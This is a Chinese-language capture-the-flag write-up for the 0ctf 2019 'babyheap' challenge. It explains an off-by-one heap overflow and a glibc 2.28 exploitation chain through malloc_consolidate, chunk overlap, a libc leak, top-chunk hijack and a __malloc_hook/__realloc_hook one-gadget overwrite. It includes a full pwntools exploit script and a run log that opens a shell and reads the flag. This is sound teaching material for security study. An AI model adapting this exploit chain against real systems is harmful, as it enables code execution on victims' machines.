相对简单的一题,可以看成高个子当中的矮子,对于初学者来说还是非常难的。
源程序、相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/0ctf2019/pwn/babyheap 。
目录
安全防护
ex@Ex:~/test$ checksec babyheap
[*] '/home/ex/test/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
溢出点
在Update
函数里面有明显off by one
漏洞。
void __fastcall read_n(char *str, unsigned __int64 length)
{
unsigned __int64 v2; // [rsp+10h] [rbp-10h]
ssize_t v3; // [rsp+18h] [rbp-8h]
if ( length )
{
v2 = 0LL;
while ( v2 < length )
{
v3 = read(0, &str[v2], length - v2);
if ( v3 > 0 )
{
v2 += v3;
}
else if ( *__errno_location() != 11 && *__errno_location() != 4 )
{
break;
}
}
str[v2] = 0; // off by one
}
}
思路
- 压缩top chunk
- 触发 malloc_consolidate
- chunk overlaping
- 泄露地址
- 劫持top chunk
- 劫持__realloc_hook and __malloc_hook
- onegadget拿shell
压缩top chunk
当top
chunk不足以分配需要的size时,会触发malloc_consolidate,然后free掉fastbin
,就是把fastbin
放入small bin
中。
# run out of the top chunk
for i in range(7):
Allocate(0x28)
Update(i, 0x28, '\0' * 0x28)
for i in range(7):
Delete(i)
for i in range(7):
Allocate(0x38)
Update(i, 0x38, '\0' * 0x38)
for i in range(7):
Delete(i)
for i in range(7):
Allocate(0x48)
Update(i, 0x48, '\0' * 0x48)
for i in range(7):
Delete(i)
for i in range(7):
Allocate(0x58)
Update(i, 0x58, '\0' * 0x58)
for i in range(7):
Delete(i)
# construct fastbin
for i in range(10):
Allocate(0x28)
for i in range(1, 9):
Delete(i)
触发 malloc_consolidate
# Trigger consolidate
Allocate(0x38) # index 1
Update(1, 0x38, '\0' * 0x38) # modify size of unsorted bin
Allocate(0x28) # index 2
Allocate(0x28) # index 3
Allocate(0x28) # index 4
Allocate(0x28) # index 5
Allocate(0x28) # index 6
Delete(0)
Delete(1)
Delete(2)
上面修改unsorted bin
的size主要是为了后面的chunk overlaping
。
chunk overlaping
# Trigger second consolidate
# pause()
Allocate(0x48) # index 0
Allocate(0x18) # index 1
Delete(9)
# Trigger third consolidate
# overlaping 4442
Allocate(0x58) # index 2
原理就是在malloc_consolidate
函数中,会把相邻的fastbin
进行合并:
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
由于上面我们已经多次触发malloc_consolidate
,所以heap当中的数据都已经写好了,可以绕过所有unlink
检查。
泄露地址
调试可得index 5
的地址离unsorted bin
最近,所以把unsorted bin
压缩到index 5
可控的范围内即可泄露main_arena
的地址。
Allocate(0x28) # index 7
Allocate(0x28) # index 8
Allocate(0x28) # index 9
Allocate(0x28) # index 10
Allocate(0x28) # index 11
Allocate(0x18) # index 12
Delete(7)
Delete(8)
Delete(9)
Delete(10)
Delete(11)
Allocate(0x38) # index 7
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline('5')
sh.recvuntil("Chunk[5]: ")
sh.recv(16)
result = sh.recv(8)
# You should calculate the value by yourself
main_arena_addr = u64(result) - 96
libc_addr = main_arena_addr - 0x1e4c40
# main_arena_addr = u64(result) - 96
# libc_addr = main_arena_addr - 0x3a2c40
log.success("main_arena_addr: " + hex(main_arena_addr))
log.success("libc_addr: " + hex(libc_addr))
劫持top chunk
Allocate(0x48) # index 8
Allocate(0x58) # index 9
Delete(8)
Delete(9)
Update(5, 0x18, p64(0) + p64(0x51) + p64(main_arena_addr + 45))
Allocate(0x48) # index 8
Allocate(0x48) # index 9
利用 overlaping
修改fastbin的fd为main_arena_addr + 45
:
pwndbg> bin
tcachebins
0x30 [ 7]: 0x564abc156390 —▸ 0x564abc156360 —▸ 0x564abc156330 —▸ 0x564abc156300 —▸ 0x564abc1562d0 ◂— ...
0x40 [ 7]: 0x564abc156540 —▸ 0x564abc156500 —▸ 0x564abc1564c0 —▸ 0x564abc156480 —▸ 0x564abc156440 ◂— ...
0x50 [ 7]: 0x564abc156760 —▸ 0x564abc156710 —▸ 0x564abc1566c0 —▸ 0x564abc156670 —▸ 0x564abc156620 ◂— ...
0x60 [ 7]: 0x564abc1569f0 —▸ 0x564abc156990 —▸ 0x564abc156930 —▸ 0x564abc1568d0 —▸ 0x564abc156870 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x7f77363e5c6d (main_arena+45) ◂— 0x0
0x60: 0x564abc156ba0 ◂— 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
利用拿出来的main_arena+45
来控制top chunk。
劫持__realloc_hook and __malloc_hook
将top
chunk指向__malloc_hook
附近即可控制__malloc_hook
,也就是main_arena_addr - 0x33
。
Allocate(0x58) # index 10
# hijack top chunk
Update(9, 0x2b, '\0' * (3 + 0x20) + p64(main_arena_addr - 0x33))
# __realloc_hook and __malloc_hook
Allocate(0x38) # index 11
'''
0x50186 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x501e3 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x103f50 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
onegadget_offset = 0x103f50
onegadget_addr = libc_addr + onegadget_offset
log.success("onegadget_addr: " + hex(onegadget_addr))
# hijack __realloc_hook and __malloc_hook
Update(11, 0x1b, 'b' * (3 + 0x8) + p64(onegadget_addr) + p64(libc_addr + libc.symbols['__libc_realloc'] + 6)) # for [rsp+0x70] == NULL
这里我说明一下,只劫持一个 __malloc_hook 是没有办法符合 onegadget 的约束条件的,需要组合 __realloc_hook 对栈进行偏移,使得 [rsp+0x70] 的值恰好为 NULL 。
onegadget拿shell
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(24))
sh.interactive()
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import random
import struct
import os
import binascii
import sys
import time
# context.log_level = 'debug'
sh = process("./babyheap", env={"LD_PRELOAD": "./libc-2.28.so"})
# sh = process("./babyheap")
# sh = remote('eonew.cn', 60108)
elf = ELF("./babyheap")
libc = ELF("./libc-2.28.so")
# libc = ELF("/glibc/glibc-2.28/debug_x64/lib/libc.so.6")
# Create a temporary file for GDB debugging
try:
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass
def Allocate(size):
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))
sh.recvuntil('Command: ')
def Delete(index):
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Command: ')
def Update(index, size, content):
sh.sendline('2')
sh.recvuntil("Index: ")
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(size))
sh.recvuntil('Content: ')
sh.send(content)
sh.recvuntil('Command: ')
sh.recvuntil('Command: ')
# run out of the top chunk
for i in range(7):
Allocate(0x28)
Update(i, 0x28, '\0' * 0x28)
for i in range(7):
Delete(i)
for i in range(7):
Allocate(0x38)
Update(i, 0x38, '\0' * 0x38)
for i in range(7):
Delete(i)
for i in range(7):
Allocate(0x48)
Update(i, 0x48, '\0' * 0x48)
for i in range(7):
Delete(i)
for i in range(7):
Allocate(0x58)
Update(i, 0x58, '\0' * 0x58)
for i in range(7):
Delete(i)
# construct fastbin
for i in range(10):
Allocate(0x28)
for i in range(1, 9):
Delete(i)
# Trigger consolidate
Allocate(0x38) # index 1
Update(1, 0x38, '\0' * 0x38) # modify size of unsorted bin
Allocate(0x28) # index 2
Allocate(0x28) # index 3
Allocate(0x28) # index 4
Allocate(0x28) # index 5
Allocate(0x28) # index 6
Delete(0)
Delete(1)
Delete(2)
# Trigger second consolidate
# pause()
Allocate(0x48) # index 0
Allocate(0x18) # index 1
Delete(9)
# Trigger third consolidate
# overlaping 4442
Allocate(0x58) # index 2
Allocate(0x28) # index 7
Allocate(0x28) # index 8
Allocate(0x28) # index 9
Allocate(0x28) # index 10
Allocate(0x28) # index 11
Allocate(0x18) # index 12
Delete(7)
Delete(8)
Delete(9)
Delete(10)
Delete(11)
Allocate(0x38) # index 7
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline('5')
sh.recvuntil("Chunk[5]: ")
sh.recv(16)
result = sh.recv(8)
# You should calculate the value by yourself
main_arena_addr = u64(result) - 96
libc_addr = main_arena_addr - 0x1e4c40
# main_arena_addr = u64(result) - 96
# libc_addr = main_arena_addr - 0x3a2c40
log.success("main_arena_addr: " + hex(main_arena_addr))
log.success("libc_addr: " + hex(libc_addr))
Allocate(0x48) # index 8
Allocate(0x58) # index 9
Delete(8)
Delete(9)
Update(5, 0x18, p64(0) + p64(0x51) + p64(main_arena_addr + 45))
Allocate(0x48) # index 8
Allocate(0x48) # index 9
Allocate(0x58) # index 10
# hijack top chunk
Update(9, 0x2b, '\0' * (3 + 0x20) + p64(main_arena_addr - 0x33))
# __realloc_hook and __malloc_hook
Allocate(0x38) # index 11
'''
0x50186 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x501e3 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x103f50 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
onegadget_offset = 0x103f50
onegadget_addr = libc_addr + onegadget_offset
log.success("onegadget_addr: " + hex(onegadget_addr))
# hijack __realloc_hook and __malloc_hook
Update(11, 0x1b, 'b' * (3 + 0x8) + p64(onegadget_addr) + p64(libc_addr + libc.symbols['__libc_realloc'] + 6)) # for [rsp+0x70] == NULL
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(24))
sh.interactive()
运行实例
ex@Ex:~/test$ ./exp.py
[+] Opening connection to eonew.cn on port 60108: Done
[*] '/home/ex/test/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/libc-2.28.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] main_arena_addr: 0x7f3a7123cc40
[+] libc_addr: 0x7f3a71058000
[+] onegadget_addr: 0x7f3a7115bf50
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ pwd
/
$ cat flag
5996a01ef0bb92d16fd3120152c58cb1710b3052
$
受随机化影响,可能要多试几次才能成功。
总结
0ctf这种知名的国际赛,题目质量特别的好,每一道题目都能学到很多东西。